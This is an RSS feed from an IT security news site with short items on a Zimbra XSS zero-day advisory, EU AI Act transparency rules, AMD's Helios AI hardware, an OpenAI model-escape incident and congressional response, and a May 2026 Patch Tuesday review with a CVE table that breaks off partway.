<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Tue, 28 Jul 2026 19:45:41 +0200 Tue, 28 Jul 2026 19:45:41 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Zimbra-Zero-Day in Classic UI: gespeichertes XSS stiehlt Mail, 2FA-Codes und Tokens]]> https://tsecurity.de/de/3694807/it-security-nachrichten/zimbra-zero-day-in-classic-ui-gespeichertes-xss-stiehlt-mail-2fa-codes-und-tokens/ https://tsecurity.de/de/3694807/it-security-nachrichten/zimbra-zero-day-in-classic-ui-gespeichertes-xss-stiehlt-mail-2fa-codes-und-tokens/ Sat, 25 Jul 2026 20:03:55 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – Eine behördlich abgestimmte Sicherheitswarnung beschreibt, wie ein russisch unterstĂŒtztes Spionage-Cluster ĂŒber ein damals unbekanntes Zimbra-Webmail-Problem an die Inhalte westlicher PostfĂ€cher gelangte. Entscheidend ist die Angriffstechnik: Das Öffnen oder nur das Anzeigen einer prĂ€parierten E-Mail in der anfĂ€lligen Classic UI reicht, um Schadcode im authentifizierten Sitzungskontext auszufĂŒhren. Betroffen sind Zimbra Collaboration 10.0 [
]

Dieser Beitrag Zimbra-Zero-Day in Classic UI: gespeichertes XSS stiehlt Mail, 2FA-Codes und Tokens erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Sat, 25 Jul 2026 19:50:07 +0200 🔧 AI Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]> https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/ https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/ Sat, 25 Jul 2026 19:50:04 +0200 🔧 AI Nachrichten tsecurity.de

The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.

The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.

The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.

]]> <![CDATA[The May 2026 Security Update Review]]> https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-49 Adobe Commerce 15 Critical 8.7 No 2
APSB26-48 Adobe After Effects 4 Critical 7.8 No 3
APSB26-50 Adobe Connect 2 Critical 9.6 No 3
APSB26-51 Adobe Illustrator 4 Critical 7.8 No 3
APSB26-47 Adobe Media Encoder 2 Critical 7.8 No 3
APSB26-46 Adobe Premiere Pro 3 Critical 7.8 No 3
APSB26-55 Adobe Substance 3D Painter 2 Critical 7.8 No 3
APSB26-54 Adobe Substance 3D Sampler 1 Critical 7.8 No 3
APSB26-53 Content Authenticity SDK 14 Critical 7.5 No 3
APSB26-52 Adobe Substance 3D Designer 5 Important 6.3 No 3
TOTAL 10 bulletins 52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-35435 Azure AI Foundry Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-35428 Azure Cloud Shell Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-42826 Azure DevOps Information Disclosure Vulnerability Critical 10 No No Info
CVE-2026-32207 Azure Machine Learning Notebook Spoofing Vulnerability Critical 8.8 No No Spoofing
CVE-2026-33109 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-33844 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9 No No RCE
CVE-2026-41105 Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability Critical 8.1 No No EoP
CVE-2026-33111 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26129 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26164 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-33821 Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability Critical 7.7 No No EoP
CVE-2026-42898 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-40379 Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability Critical 9.3 No No Spoofing
CVE-2026-40363 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40358 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-34327 Microsoft Partner Center Spoofing Vulnerability Critical 8.2 No No Spoofing
CVE-2026-40365 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41103 Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability Critical 9.1 No No EoP
CVE-2026-33823 Microsoft Team Events Portal Information Disclosure Vulnerability Critical 9.6 No No Info
CVE-2026-40364 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40366 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40361 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40367 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-42831 Office for Android Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-41096 Windows DNS Client Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-35421 Windows GDI Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-40403 Windows Graphics Component Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-40402 Windows Hyper-V Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-32161 Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability Critical 7.5 No No RCE
CVE-2026-41089 Windows Netlogon Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-32175 .NET Core Tampering Vulnerability Important 4.3 No No Tampering
CVE-2026-32177 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-35433 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2025-54518 * AMD: CVE-2025-54518 CPU OP Cache Corruption Important No No RCE
CVE-2026-42899 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40381 Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42823 † Azure Logic Apps Elevation of Privilege Vulnerability Important 9.9 No No EoP
CVE-2026-33833 Azure Machine Learning Notebook Spoofing Vulnerability Important 8.2 No No Spoofing
CVE-2026-32204 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42830 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-33117 Azure SDK for Java Security Feature Bypass Vulnerability Important 9.1 No No SFB
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-35424 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-41614 M365 Copilot for Desktop Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-41100 Microsoft 365 Copilot for Android Spoofing Vulnerability Important 4.4 No No Spoofing
CVE-2026-40377 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-41094 Microsoft Data Formulator Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40417 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42833 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Important 9.1 No No RCE
CVE-2026-42838 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 5.4 No No EoP
CVE-2026-40360 Microsoft Excel Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-40359 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-40362 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-42832 Microsoft Excel Spoofing Vulnerability Important 7.7 No No Spoofing
CVE-2026-34329 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40419 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40418 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35436 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-40420 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-42893 Microsoft Outlook for iOS Tampering Vulnerability Important 7.4 No No Tampering
CVE-2026-40374 Microsoft Power Automate Desktop Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41102 Microsoft PowerPoint for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35439 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40368 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33110 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-33112 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40357 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-32185 Microsoft Teams Spoofing Vulnerability Important 5.5 No No Spoofing
CVE-2026-41101 Microsoft Word for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35440 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40421 Microsoft Word Information Disclosure Vulnerability Important 4.3 No No Info
CVE-2026-41097 Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-40370 † SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-41613 Visual Studio Code Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-41612 Visual Studio Code Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41611 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-41610 Visual Studio Code Security Feature Bypass Vulnerability Important 6.3 No No SFB
CVE-2026-33839 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33840 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34330 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34331 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35423 Windows 11 Telnet Client Information Disclosure Vulnerability Important 5.4 No No Info
CVE-2026-35438 Windows Admin Center Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-41086 Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-34344 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34345 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35416 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41088 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34343 Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35418 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33835 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
